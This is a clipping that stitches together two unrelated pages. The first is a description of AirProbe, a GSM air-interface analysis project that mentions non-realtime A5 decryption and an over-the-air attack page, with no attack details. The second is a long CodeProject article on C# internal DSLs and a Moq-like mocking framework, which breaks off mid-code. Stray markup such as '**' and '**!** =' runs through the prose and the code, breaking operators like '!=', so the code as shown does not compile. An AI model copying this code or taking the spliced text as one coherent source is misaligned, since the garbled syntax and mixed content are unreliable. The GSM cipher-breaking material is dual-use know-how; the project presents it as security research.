build an air-interface analysis tool for the GSM \(and possible later 3G\)
mobile phone standard. The prime motivation is to learn the details of the
technology, help people who develop other open GSM technology \(like  OpenBTS,
OpenMoko?,  BS11/OpenBSC and others\) and demonstrate the insecurity of the
current standard.

General information about the project can be found in the Wiki. Source code is
in the git. Get it using

[code]

      $ git clone git://svn.berlin.ccc.de/airprobe
    
[/code]

The project mailing lists can be found here: MailingLists

Take a look at the Roadmap for current Milestones that need your contribution.
Feel free to generate tickets for these Milestones and work on them.

### Structure

AirProbe is divided into three main subprojects: Acquisition, Demodulation and
Analysis.

**Acquisition** The Acquisition module is hardware dependent and contains
everything that has to do with receiving and digitizing the air interface.
This is the part that needs to be rewritten for different receiver hardware,
so it should be kept small and limited to the necessary functions. Most parts
should be inherited from  GNURadio, to keep workload limited.

**DeModulation** The Demodulation module contains all necessary code to make
bits out of the signal captured by Acquisition. It is in principle hardware
independent, but should be open to use DSPs is desired.

**Analysis** This module contains all the protocol parsing and decoding.
Wireshark can be used to handle parts of the visualisation and UI tasks. An
important part of the Analysis module is non-realtime A5 DeCryption based on a
generic fast CPU. Realtime or near-realtime A5 dercyption is not a goal of the
project. For purposes of protocol analysis and demonstration of insecurities,
non-realtime decryption is sufficient.

### Work in Progress

  * A5 Tables Hardware

### Info pages

  * Some hardware description
  * Working With the USRP
  * GSM decoding with Nokia 3310/3390 phone
  * Presentations and papers on the project topics
  * Some basics about SIM cards and how to build and use SIM Card Reader
  * Over-the-Air \(OTA\) attack
  * Beginners howto

# DSLs: A Deep\(ish\) look - CodeProject

**Created:**| _10/24/2013 1:42:25 PM_  
---|---  
**Updated:**| _10/24/2013 1:42:25 PM_  
**Author:**| __  
**Tags:**| _programming parser_  
  

# **D** SLs: A Deep\(ish\) look****

By Sacha Barber , 21 Oct 2013

  * Download demo project - 338 KB 

## Table Of Contents****

## Introduction****

It has been a while since I wrote an article here at CodeProject, but that
does not mean I have not been busy**.** Far from it, I have been very busy
digesting new things \(at least new for me\), and reading a lot**.** In fact
the book I just finished reading \(Martin Fowler's 'Domain Specific Languages'
\) kind of inspired this article**.**

I have basically always had an interest in the more obscure elements of
software engineering, sure I like doing pretty stuff with WPF, however I find
myself going back to my computer science roots a bit more these days, and
wanting to explore some of the weirder areas, and let me tell you Domain
Specific Languages \(DSLs\) are a pretty weird \(yet powerfu\) place**.**

If one were to follow Martin Fowlers thoughts, the DSL world would be broken
down into two parts:

  1. Internal DSLs: These are DSLs that are meant to be used by software engineers/developers and should not be shown to end users**.** As such they may comprise some fairly technical syntax**.**
  2. External DSLs: These are DSLs that are intended to be used by end users, and as such can be expected to be described in a common language that the end user and the software engineers who must parse the DSL text both understand**.**

Now let me just tell you that Martin Fowler's 'Domain Specific Languages'
book is about 600 pages long, and goes into way too much detail for me to even
try and condense into a single article**.** So we will not be going into
External DSLs at all in this article, rather we shall be concentrating on a
sub set of Internal DSL tools/trickery**.**

I will start this article by going through a few common ideas/techniques used
for developing internal DSLs, and then I will go through a simple example, and
then we will proceed to go through the uber example**.**

## Semantic Model****

Put simply this is the model that's populated by a DSL**.** All the DSL does
is provide a readable way of populating that model**.**

Martin Fowler has this pretty good thing to say about semantic models in
regards to a StateMachine DSL that he has as part of his book**.**

_Looking at it from this point of view, the DSL merely acts as a mechanism for
expressing how the model is configured**.** Much of the benefits of using this
approach comes from the model rather than the DSLs**.** The fact that I can
easily configure a new state machine for a customer is a property of the
model, not the DSL**.** The fact that I can make a change to a controller at
runtime, without compiling, is a feature of the model, not the DSL**.** The
fact I’m reusing code across multiple installations of controllers is a
property of the model, not the DSL**.** Hence the DSL is merely a thin facade
over the model**.**_

http://www.informit.com/articles/article.aspx**?** p=1592379&seqNum=4

## Builders****

By using separate classes that construct our semantic model we are able to
keep our semantic model clean of any DSL parsing code, which illustrates a
good separation between parsing code and the eventual semantic model which a
given DSL represents**.**

I won't say too much about builders here, as they are easier to understand
with an example, all that they are really, is little helper classes that have
the ability to create a correctly populated semantic model**.** Like I say you
will see a demo of this is the examples associated with this article**.**

## Parser Tree****

Parser trees are an interesting thing that can be used in the creation of
internal DSLs**.** So just what are parser trees exactly? Well the way to
easily grasp what these are, is by thinking about the ability to pass around a
tree of code expressed as a data structure**.**

Parser trees are a fairly novel thing, and not all languages support this
concept**.** Luckily .NET has the  Expression  namespace which may be used for
this exact purpose**.** Just for completeness the  Expression  classes were
introduced to allow LINQ to SQL/EF and `IQueryProvider`s to translate code
passed around as data structures into SQL statements, but that is neither here
nor there, all that is important is that .NET supports the ability to pass
around code as data structures, which allows us to pass around strongly typed
code as if it were a regular data type**.**

The most widely used/seen/popular example of this might be to extract a
property name from a `LambdaExpression` which would be done as follows:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public static PropertyInfo GetProperty<T>(Expression<Func<T, Object>> propertyExpression)
    {
        var lambda = propertyExpression as LambdaExpression;
        MemberExpression memberExpression;
        if (lambda.Body is UnaryExpression)
        {
            var unaryExpression = lambda.Body as UnaryExpression;
            memberExpression = unaryExpression.Operand as MemberExpression;
        }
        else
        {
            memberExpression = lambda.Body as MemberExpression;
        }
    
        var propertyInfo = memberExpression.Member as PropertyInfo;
    
        return propertyInfo;
    }
    
[/code]

Which we might use like this, where this is commonly used with `
INotifyPropertyChanged` implementing objects:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    PropertyInfo prop = <GetProperty<Person>(x => x.Age)<
[/code]

## Method Chaining****

Method chaining is a common technique that can be used where each method would
return an object \(which is most cases would be the current object itself OR a
builder object that builds certain parts of the semantic model\), which allows
the calls to be chained together into a single statement**.**

## Fluent Interfaces****

I found a nice post on Ayende blogs \(and he has his own DSL book too , so he
can be trusted don't worry\) that describes what I would consider to be the
essence of what fluent interfaces are and how they compare to method
chaining**.** Here is what Ayende said:

_Method chaining is something that you would certainly use in the a fluent
interface, but that is like saying that you need to use interfaces when you
build a plug-in framework**.** The fact that you are using something doesn't
mean that what you do is only that something**.**  
  
Fluent interfaces are different than merely method chaining because they allow
you to express your intent in the domain terms and allows you to get more
readable code**.** Method chaining, operator overloading, nasty generics
tricks are all part of that, certainly, but the end result is much more than
just a simple method chain**.**_

Ayende also shows a nice comparison of method chaining and fluent interfaces,
here is what his blog said

_This is method chaining:_

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    string user = new StringBuilder()
    	.Append("Name: ")
    	.Append(user.Name)
    	.AppendLine()
    	.Append("Email: ")
    	.Append(user.Email)
    	.AppendLine()
    	.ToString();
    
[/code]

_And this is a Fluent interface:_

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    return new Finder<Order>(
    		Where.Order.User == CurrentUser &&
    		(
    			Where.Order.TotalCost > Money.Dollars(150) ||
    			Where.Order.OrderLines.Count > 15
    		),
    		OrderBy.Order.CreatedAt
    	).List();
[/code]

I urge you to read Ayendes blog for the full details :
http://ayende.com/blog/2639/fluent-interfaces-method-chaining **.**

## Knowing When to End****

One of the major problems in working with method chaining is how to preserve
the correct sequence of calls and how to know when the chain is actually
complete**.** So how does one know when to complete the chain, and thus return
a populated semantic model**?**

Probably the easiest way to deal with this dilemma is to include some sort of
"Ending" method that signifies the end of the chain**.**

## Progressive Interfaces****

Another issue when working with method chains is that you may always be
returning the current object which may allow the user to call to many
methods/the wrong methods, in the wrong places**.** One common technique in
dealing with this is to return interfaces which dictate what
methods/properties etc etc are valid at that point in the chain**.** This
technique it called progressive interfaces \(at least that is what Martin
Fowler likes to call it\)

By using progressive interfaces, the chain of methods that may be called by
the calling code, will be limited to those methods exposed by the interface at
that point in the chain**.**

## Simple Example****

This first simple example is really easy, and should demonstrate several of
the techniques we just discussed, for example you will see examples of Method
Chaining / Fluent Interfaces / Builders / Semantic Model and we will know when
to end the chain**.**

### Scenario****

So before we look at the demo code, let's just set the scene of what we are
trying to do**.** I used to be into creating electronic music, where I had a
studio filled with various bits of electronic equipment, so I thought that a
DSL that creates a simple music studio might be fun**.** The studio is very
simple and contains only 2 things

  1. A single mixing desk
  2. Any number of samplers

### Simple Example: Semantic Model****

In terms of a Semantic model this is what we will be trying to create**.** I
could explain this further, but I think most of us can/should understand a
class diagram

<img src='img/Temp2_1915.gif' />

### Simple Example: Builders****

As previously stated by using helper builder classes we are able to separate
out the DSL building / parsing code from our semantic model, which is a good
thing**.**

**StudioBuilder**

For this scenario the first place we need to start is the top level builder,
which is the builder that will build new `Studio` objects for us**.** This is
shown below.

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class StudioBuilder
    {
        private MixingDeskBuilder currentMixingDesk;
        private SamplerBuilder currentSampler;
        private List<Sampler> loadedSamplers = new List<Sampler>();
    
    
        public static StudioBuilder Studio()
        {
            return new StudioBuilder();
        }
    
    
        public StudioBuilder MixingDesk()
        {
            currentMixingDesk = new MixingDeskBuilder();
            return this;
        }
    
        public StudioBuilder Channels(int channels)
        {
            currentMixingDesk.Channels = channels;
            return this;
        }
    
    
        public SamplerBuilder Sampler()
        {
            if (currentSampler **!** = null)
                loadedSamplers.Add(currentSampler.GetValue());
    
            currentSampler = new SamplerBuilder(this);
            return currentSampler;
        }
    
        public Studio End()
        {
            return GetValue();
        }
    
        private Studio GetValue()
        {
            return new Studio(currentMixingDesk.GetValue(), Samplers);
        }
    
        private List<Sampler> Samplers
        {
            get
            {
                List<Sampler> samplers = new List<Sampler>();
                samplers.AddRange(loadedSamplers);
                if (currentSampler **!** = null)
                    samplers.Add(currentSampler.GetValue());
                return samplers;
            }
        }
    }
[/code]

There are a number of things to note here, such as

  * The use of context variables that are used to store the current context of the DSL as it's being constructed**.** This can be seen by the ` currentMixingDesk` and `currentSampler` variables**.** These ensure we are manipulating the correct object whilst working with the DSL creation
  * The use of method chaining, see the `MixingDesk()` method for an example
  * It does exhibit a fluent interface, in that the method names have been chosen to express their intent to the user to assist in buildng the DSL
  * Their is a way to signal the end of the chain, see the `End() `method for an example

#### MixingDeskBuilder****

So now that we have a top level builder in place, lets shift our focus
slightly to the `MixingDeskBuilder`**.** Remember there is only one of these
allowed in this demo DSL, as such the buider for this is very simple**.** Here
it is:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public sealed class MixingDeskBuilder
    {
        private const int DEFAULT_CHANNELS = 10;
        private int channels = DEFAULT_CHANNELS;
    
        public int Channels
        {
            get { return channels; }
            set { channels = value; }
        }
    
        public MixingDesk GetValue()
        {
            return new MixingDesk(channels);
        }
    }
[/code]

There is not much to say about this one to be honest**.**

#### SamplerBuilder****

So next we move on to look at the `SamplerBuilder`**.** Remember there can be
any number one of these allowed in this demo DSL, as such the builder for this
needs a way of allowing more than one of these to be created**.** The way this
is achieved is to take a reference to the parent `StudioBuilder` and to have a
`Sampler()` method that simply calls the parents ` Sampler()` method that will
add a new `SamplerBuilder` to its collection**.**

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class SamplerBuilder
    {
        private StudioBuilder parent;
        private int hardDiskSize;
        private string model;
    
        public SamplerBuilder(StudioBuilder parent)
        {
            this.parent = parent;
        }
    
        public SamplerBuilder DiskSize(int hardDiskSize)
        {
            this.hardDiskSize = hardDiskSize;
            return this;
        }
    
        public SamplerBuilder Model(string model)
        {
            this.model = model;
            return this;
        }
    
        public SamplerBuilder Sampler()
        {
            return parent.Sampler();
        }
    
    
        public Studio End()
        {
            return parent.End();
        }
    
        public Sampler GetValue()
        {
            return new Sampler(hardDiskSize, model);
        }
    }
[/code]

### Simple Example: Usage****

OK, so to use this simple demo example we would simply do something like this:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    Studio studio = StudioBuilder.Studio()
                        .MixingDesk()
                            .Channels(10)
                        .Sampler()
                            .DiskSize(1000)
                            .Model("Akai 3000")
                        .Sampler()
                            .DiskSize(1000)
                            .Model("Emu ultra")
                        .End();
[/code]

Which when run will produce something like this

<img src='img/Temp2_1919.gif' />

## Uber Example****

Before we get started with this section, I need to also give you a bit more
context about how this article came about**.** So around the time that I was
1/2 way through Martin Fowlers 'Domain Specific Languages'  book, I was also
debugging some of my code at work, where I was in the middle of a test case
where I was using the fabulous Moq  library, which is by far my favorite
mocking framework, and 2 things happened

  1. I had an issue with a callback that I had setup with my mock, which was not working, and I started debugging my code, and I noticed this thing which I immediately recognized as a Castle dynamic proxy **.** I kind of had a eureka moment with Moq  where I was like, Aha that's how they do it**.** Truth is they mention this on their home page but I have never read that page, as Moq  has never really gone wrong for me, so I never looked**.**
  2. I looked at the  Moq  configuration and noticed it was doing lots of the stuff that Martin Fowlers 'Domain Specific Languages'  book was talking about**.** For example Moq  uses the following DSL techniques:

  * Method Chaining
  * Fluent Interfaces
  * Progressive Interfaces
  * Parser Tree

Massive kudos to the Moq  team I say, and how very timely I also say**.** True
timing what you say

So without further ado, I wondering if I could write something like Moq  from
scratch using some of my new found DSL knowledge**.** It took me a while but I
have managed to make a working Moq  clone**.** I should point out that I did
this without looking at their code at all, which I am sure you will be able to
tell if you compare the two**.** Now that I have finished I obviously checked
out there code and theirs is like well um just plain better than mine
actually**.**

Now before anyone mentions the dreaded word "Plagiarism" I actually contacted
the main author of Moq , that's Kzu, and told him what I was doing well before
I wrote this article and he gave me the ok**.** In case anyone is interested
here is our email chain**.** \(click the image below to see larger version\)

<img src='img/Temp2_1913.gif' />

So there you go, I have Kzus blessing**.**

One other thing I should point out is that my simple

Moq  clone presented here is just that, it is simple, and is no where near as
polished as Moq , so anyone thinking of trying out my simple demo here for
their mocking needs, forget it, it was just done for laughs really, use Moq
**.**

That is not to say I am not happy with what I have done here, which I kind of
am actually, as it does most of the main things that Moq  does in terms of DSL
capabilities, which was after all, was the main reason I tried to write this
simple Moq  clone**.** So yeah I am happy with how this worked out for
sure**.**

Just for completeness here are some of reasons why you would use Moq  over my
simple take on it, which as I say, was more about just having a go at creating
the DSL / Method Chaining / Fluent Interface / Progressive Interfaces / Parser
Tree syntax that Moq  uses**.**

Anyway we digress, here is why you need to use Moq  and not my simple example:

  * I **only** support mocking interfaces
  * I **do not** support mocking of classes
  * I **do not** support nested mocks
  * I **do not** deal with `ref` variables

Anyway now that we have all that no technical speil out of the way, let's
continue on with the 2nd example, which is my simple Moq  clone, which I have
dubbed "The Uber Example"

I should also point out that although simpler than Moq , my simple Moq  clone
actually does work, which you can see by running the demo code associated with
this article**.**

## Uber Example: The General Idea****

As I have just stated what I have created is a very simple mocking framework
that uses an internal DSL to build up a mock object, that can be used in place
of a real object**.** I have also stated that my simple DSL allows a subset of
what normal mocking frameworks produce, but I am not worried about that, what
I am worried about is showing you all the techniques involved with how I got
there and some of the DSL like syntax that you could use in your own DSLs**.**

So now that we know that we are creating a DSL to create a mocking framework,
what sort of things could we expect to see**?**

Well if we consider what sort of things a typical object allows we could
conceivably have an initial list of the following

  * Mocking methods
  * Mocking properties
  * Raising events
  * Throwing exceptions

So that is the sort of thing we might want to include in our DSL/Semantic
Model**.** However as we look into each of these areas in more detail we can
start to think about the way in which a normal \(ie non mocked object\) would
operate**.** It could potentially allow all sorts of behaviour such as:

  * Throwing an error in a property setter
  * Only accepting certain inputs
  * Expect to only be called a certain number of times

You get the idea, so considering these things we can develop our DSL**.** What
I have chosen to do was imitate what I would consider to be a very well known
clever existing API \(ie Moq \), but you can see how these extra concerns
could influence your DSL design**.**

## Uber Example: Semantic Model****

In some ways the semantic model for this is very simple it just comes down to

  * Methods
  * Properties

Which is actually all that we can create using the DSL**.** What makes the
semantic model more interesting is that methods may needs to do things like
throw `Exception`s, or raise events**.** So these considerations and the
ability to deal with these concerns then become part of the semantic
model**.**

## Uber Example: Common Techniques****

This section will outline common techniques that are used throughout the "uber
example" and these will provide the building blocks for the subsequent
sections

## Common Techniques: Proxying****

As this DSL is all about mocking, it should come as no surprise that there is
an internally held proxy object, which is used instead of the real object**.**
You may ask how this proxy comes about? Who creates it**?**

There are many free open source frameworks for dealing with dynamically
created proxies, in fact it is not that hard to come up with a simple one
using the .NET Remoting APIs**.** That said I have chosen to use Castle
Windsor, which is a tried and tested tool, I get it you could say**.**

So yeah we will be using a Castle Windsor proxy for the mock object generated
within this Uber Example DSL**.**

## Common Techniques: Interception****

To do the types of thing that the Uber Example is trying to do, we are
obviously into a quite niche domain, where we expect things to be returned
from a method when we do X, or we expect that when property Y gets set that
its value will be Z. This is all quite specific to the way a real object would
work, but we don't want to write real objects to deal with our wishes, what we
want to do is write some DSL code that specifies the behaviour, such as:

When Method X is called return `List<Foo>`

So how do we go about that**?** Well luckily, there are a number of frameworks
on the market that allow us to do this**.** This is really just Aspect
Oriented Programming \(AOP\) when you think about it, and how does AOP
work**?** Well, in .NET land, it usually works via method interception, but
how do we do that**?**

Well, like I say, there are many free Open Source frameworks for doing AOP
with .NET**.** For this article, I have chosen to use Castle Windsor, which
uses a technique called interception, which is made possible by the use of
Interceptors **.**

Quite simply, Interceptors  allow you to hook into the method calling pipeline
and decide what return values/parameters etc**.** , should be passed \(if at
all\) to the base method implementation**.**

This is a very powerful technique**.** By using  Interceptors , we are able to
pretty much deal with any of the mocking requirements**.** In an  Interceptor
we can do the following:

  * Do a callback for a method being called
  * Increment a counter for the number of times a method has been called 
  * Work our whether a method call was valid
  * Raise an `Exception` if we were asked to, during a particular method/property call
  * Raise an event during a particular method/property call

This technique is used throughout this Uber Example, where the following
Interceptors  are used:

<img src='img/Temp2_1914.gif' />

## Common Techniques: Finding Event Names****

The actual raising of events is a tricky beast to deal with, and was one of
the most challenging aspects of all of the work I did for this article**.**
Why is the raising event\(s\) code so difficult you may ask**?** It is down to
the fact that I wish to be able to identify the event to raise in a strongly
formed way, that is I do not wish to pass around magic strings**.**

That is the problem really, but why is that an issue**?**

Well, in .NET, the only thing you can do with an event in an external class
that makes use of the event is to add or remove handlers using the `+=` or
`-=` operators**.** So how by simply using these operators can we obtain the
actual event name**?**

This turned out to be quite a difficult problem, and one that did not come to
me straight away**.** The following diagram illustrates what I managed to come
up with eventually**.**

<img src='img/Temp2_1917.gif' />

In words what happens is that we accept a delegate that takes `T`, which just
happens to be the same type as the mock object we are building**.** So that
part I hope is OK. The next thing we do is create a extremely short lived
Castle dynamic proxy of type `T`, which will only be used to analyze calls
made to it via Castles interception feature that only serves to grab
information about what methods/events etc**.** , were called on the proxy. I
have called this the ` PredictiveInterceptor`**.**

So we now have a proxy object in place and a `PredictiveInterceptor `which
will store methods \(and event add\_XXX/remove\_XXX are really methods\)
invoked on the proxy**.** OK, cool, so now all we do is call the original
delegate \(`Action<T>` passing in the short lived proxy we created and then
find out what methods were called on it\)**.** It's that simple.

It did take me a while to come up with that one, anyway that is essentially
how this Uber Example works when raising events**.**

## Uber Example: Properties****

Obviously since we are dealing with a DSL for creating mock objects, we are
going to have to provide some way of dealing with setting up properties for
our mock using our DSL, but just what sort of thing should we allow for**.**

Properties can accept values and return values, and can throw Exception\(s\)
and also raise events, and can be called once, twice n-many times of
never**.** As such here is what I came up with that the DSL needs to support
for properties:

  * We need a way of setting up what values a property should return
  * We need a way that a Setter should throw an `Exception`**.** I feel it would be quite strange for a Getter to throw `Exception`s \(ok it might but it would be rare\)
  * We need a way that a Setter can raise an event**.** I feel it would be extremely strange for a Getter to raise an event

So that is what our DSL will support**.** Now let's continue to have a look at
how this is achieved**.**

### Properties: Returning Values****

We can setup a property using the `SetupProperty` method \(which is part of
the method chaining methods of the Mock class\) as follows:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public IPropertyData<T> SetupProperty(Expression<Func<T, Object>> property)
    {
        PropertyData<T> propertyData = GetPropertyFromExpression(property);
        allPropertiesForProxy.Add(propertyData);
        return propertyData;
    }
[/code]

And here is how you would set up a property with a return value directly on
the mock object:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public IPropertyData<T> SetupProperty(Expression<Func<T, Object>> property, object returnValue)
    {
        PropertyData<T> propertyData = GetPropertyFromExpression(property);
        propertyData.Returns(returnValue);
        allPropertiesForProxy.Add(propertyData);
        return propertyData;
    }
[/code]

In both these cases, the following helper method is used to create a new
`PropertyData<T>` builder**.**

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    private PropertyData<T> GetPropertyFromExpression(Expression<Func<T, Object>> property)
    {
        if (property is LambdaExpression)
        {
            PropertyData<T> propertyData = new PropertyData<T>();
            ((IInterceptablePropertyData)propertyData).Proxy = proxy;
            propertyData.Mock = this;
            ((IInterceptablePropertyData)propertyData).Property = ExpressionHelper.GetProperty(property);
            return propertyData;
        }
                
        throw new InvalidOperationException("Could not create Setup for this property");
    }
[/code]

Where we also use this utility code to obtain the `PropertyInfo` from the
original `Expression<Func<T, Object>>`**.**

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public static PropertyInfo GetProperty<T>(Expression<Func<T, Object>> propertyExpression)
    {
        var lambda = propertyExpression as LambdaExpression;
        MemberExpression memberExpression;
        if (lambda.Body is UnaryExpression)
        {
            var unaryExpression = lambda.Body as UnaryExpression;
            memberExpression = unaryExpression.Operand as MemberExpression;
        }
        else
        {
            memberExpression = lambda.Body as MemberExpression;
        }
    
        var propertyInfo = memberExpression.Member as PropertyInfo;
    
        return propertyInfo;
    }
[/code]

The returned type is `PropertyData<T>`, which is a property builder that is
used to configure the rest of the property level data for the mock**.**

By using the `PropertyData<T>` builder we can also setup a return value using
the `Returns` method, which we can see shown below:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal sealed class PropertyData<T> : IPropertyData<T>, IInterceptablePropertyData, ISupportExceptions
    {
        private object returnValue;
    
        public IPropertyData<T> Returns(object returnValue)
        {
            this.returnValue = returnValue;
            return this;
        }
    }
[/code]

And here is how you might use the DSL fragment in your own code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    //Setup return value inline
    Mock<ITestClass> mockPropCase1 = new Mock<ITestClass>();
    mockPropCase1.SetupProperty(x => x.IntGetSetProperty, 1);
    Console.WriteLine(string.Format("IntGetSetProperty={0}", mockPropCase1.Object.IntGetSetProperty));
    
    //Setup return using Returns method
    Mock<ITestClass> mockPropCase2 = new Mock<ITestClass>();
    mockPropCase2.SetupProperty(x => x.IntGetSetProperty).Returns(3);
    Console.WriteLine(string.Format("IntGetSetProperty={0}", mockPropCase2.Object.IntGetSetProperty));
    
    //Setup return value by directly writing to property value
    Mock<ITestClass> mockPropCase3 = new Mock<ITestClass>();
    mockPropCase3.SetupProperty(x => x.IntGetSetProperty);
    mockPropCase3.Object.IntGetSetProperty = 5;
    Console.WriteLine(string.Format("IntGetSetProperty={0}", mockPropCase3.Object.IntGetSetProperty));
[/code]

### Properties: Throwing Exceptions****

Having the ability to throw an `Exception` from a property probably only makes
sense in a Setter of a property, after all who wants an `Exception` thrown
each time they try and read a property**.** So how is this achieved? Well, it
turns out this is very simple**.** We simply have a DSL fragment that accepts
either a generic `Type` for the `Exception` to throw, which is created using
`Activator.CreateInstance`, or we accept a pre-populated `Exception`
object**.**

In either case, we store the `Exception` against the `PropertyData<T>` builder
and we make use of this `Exception` in the `PropertyInterceptor` via the use
of an `ISupportExceptions` interface that the `PropertyData<T>` builder class
also implements**.**

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal sealed class PropertyData<T> : IPropertyData<T>, IInterceptablePropertyData, ISupportExceptions
    {
        private Exception exceptionToThrow;
    
        public PropertyData()
        {
            eventsToRaise = new List<EventWrapper>();
            setHasBeenCalled = 0;
            getHasBeenCalled = 0;
            exceptionToThrow = null;
        }
    
        public IPropertyData<T> ThrowsOnSet<TEx>() where TEx : Exception
        {
            exceptionToThrow = (Exception)Activator.CreateInstance<TEx>();
            return this;
        }
    
        public IPropertyData<T> ThrowsOnSet(Exception ex)
        {
            exceptionToThrow = ex;
            return this;
        }
    
        #region ISupportExceptions members
    
        Exception ISupportExceptions.ExceptionToThrow
        {
            get { return exceptionToThrow; }
            set { exceptionToThrow = value; }
        }
    
        bool ISupportExceptions.HasException
        {
            get { return exceptionToThrow **!** = null; }
        }
    
        #endregion
    }
[/code]

We are then able to check if an Exception should be raised when we are setting
a property within the `PropertyInterceptor`**.** As I have stated on numerous
occasions, I am using Castle Interceptors **.** Here are the relevant parts of
the `PropertyInterceptor`**.**

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal class PropertyInterceptor 
    {
        public static void Intercept(IMock parentMock, IInvocation invocation)
        {
            List<IInterceptablePropertyData> allPropertiesForProxy = parentMock.AllPropertiesForProxy;
            string invocationPropertyName = invocation.Method.Name.Substring(4);
            invocationPropertyName.Replace("()", "");
    
    
            List<IInterceptablePropertyData> propertyDataItems = 
              allPropertiesForProxy.Where(x => x.Property.Name == invocationPropertyName).ToList();
    
            if (**!** propertyDataItems.Any())
                throw new InvalidOperationException(string.Format(
                  "Property '{0}' was not found and is needed for this Mock", 
                  invocationPropertyName));
    
            if (propertyDataItems.Count() **!** = 1)
                throw new InvalidOperationException(string.Format("Property '{0}' was " + 
                "found more than once for this Mock", invocationPropertyName));
    
            IInterceptablePropertyData propertyData = propertyDataItems.Single();
    
            //Deal with actual method setter call
            if (invocation.Method.Name.StartsWith("set_"))
            {
                //Deal with Events for the method
                propertyData.RaiseEvents();
    
                    
                //Deal with Exceptions for the property
                ExceptionHelper.ThrowException((ISupportExceptions)propertyData);
    
    	    ....
    	    ....
            }
    
            ....
            ....
            ....
        }
    }
[/code]

And here is how you might use the DSL fragment in your own code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    //Setup which will throw your expected type of Exception/Message on property Setter being called
    Mock<ITestClass> mockPropCase4 = new Mock<ITestClass>();
    mockPropCase4.SetupProperty(x => x.IntGetSetProperty).ThrowsOnSet(
                  new InvalidOperationException("this is from the mock property setter"));
    try
    {
        mockPropCase4.Object.IntGetSetProperty = 5;
    }
    catch (InvalidOperationException ex)
    {
        Console.WriteLine(string.Format("Exception seen**.** Message was : '{0}'", ex.Message));
    }
    
    //Setup which will throw your expected type of Exception on property Setter being called
    Mock<ITestClass> mockPropCase4b = new Mock<ITestClass>();
    mockPropCase4b.SetupProperty(x => x.IntGetSetProperty).ThrowsOnSet<InvalidOperationException>();
    try
    {
        mockPropCase4b.Object.IntGetSetProperty = 5;
    }
    catch (InvalidOperationException ex)
    {
        Console.WriteLine(string.Format("Exception seen**.** Message was : '{0}'", ex.Message));
    }
[/code]

### Properties: Raising Events****

Now that I have gone through the basics of how an event name is deduced \(see
Common Techniques: Finding Event Names\) in a strongly typed manner, let's
concentrate on looking at how the property building DSL fragment is able to
actually deal with events**.**

It starts with the ability to accept the event in a strongly typed manner,
which we discussed above, but for completeness, here are the methods that
accept a standard event arguments signature to raise an event, and also a
custom event argument signature:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public IPropertyData<T> RaiseEventOnSet(Action<T> eventToRaise, EventArgs eventArgs)
    {
        MemberInfo member = eventRaiserHelper.GetEvent((IEventRaisingAgent)Mock, proxy, eventToRaise);
        eventsToRaise.Add(new EventWrapper(member, new object[] { eventArgs }, false));
        return this;
    }
    
    public IPropertyData<T> RaiseEventOnSet(Action<T> eventToRaise, params object[] args)
    {
        MemberInfo member = eventRaiserHelper.GetEvent((IEventRaisingAgent)Mock, proxy, eventToRaise);
        eventsToRaise.Add(new EventWrapper(member, args, true));
        return this;
    }
[/code]

Where this really just uses the following `EventHelper` code:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public class EventRaiserHelper<T>
    {
        public MemberInfo GetEvent(IEventRaisingAgent eventRaisingAgent, object proxy, Action<T> eventToRaise)
        {
            PredictiveAnalyzer<T> predictiveAnalyzer = 
               new PredictiveAnalyzer<T>(proxy, eventToRaise, AnalyzerType.Event);
            predictiveAnalyzer.Analyze();
            return predictiveAnalyzer.Invocation;
        }
    
        ....
        ....
        ....
        ....
    }
[/code]

Where this is the full code for the `PredictiveAnalyser`:

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    public interface IPredictiveAnalyzer
    {
        MemberInfo Invocation { get; set; }
    }
    
    public class PredictiveAnalyzer<T> : IPredictiveAnalyzer
    {
        private object existingProxy;
        private Action<T> eventToRaise;
        private AnalyzerType analyzerType;
    
        public PredictiveAnalyzer(object existingProxy, 
               Action<T> eventToRaise, AnalyzerType analyzerType)
        {
            this.existingProxy = existingProxy;
            this.eventToRaise = eventToRaise;
            this.analyzerType = analyzerType;
        }
    
        public void Analyze()
        {
            ProxyGenerator generator = new ProxyGenerator();
    
            IInterceptor[] interceptors = new IInterceptor[] { new PredictiveInterceptor(
                           existingProxy, (IPredictiveAnalyzer)this, analyzerType) };
            T predictiveProxy = (T)generator.CreateInterfaceProxyWithoutTarget(typeof(T), interceptors);
            eventToRaise(predictiveProxy);
        }
    
        public MemberInfo Invocation { get; set; }
    }
[/code]

So that gets us a name to store for the event which we store in a
`List<EventWrapper>` object for later use**.**

But how about raising these actual events**?** All we have done at the moment
is say that when property XYZ setter is called, we want to raise event ABC in
a strongly typed way**.** But how do we actually call the correct event
invocation list callback handlers when the property value does change**?**

To understand that part we need to recall that there is actually a
`EventInterceptor` at work which is enforced for the actual mock object the
DSL is creating**.** Here is that code, it can be seen that we store the
callback delegates against an `IEventRaisingAgent` \(this is the actual mock
object the DSL is building\):

<img src='img/Temp2_1916.gif' width='9' height='9' /> Collapse | Copy Code
[code]

    internal enum HandlerOperation { Add, Remove }
    
    internal class EventInterceptor 
    {
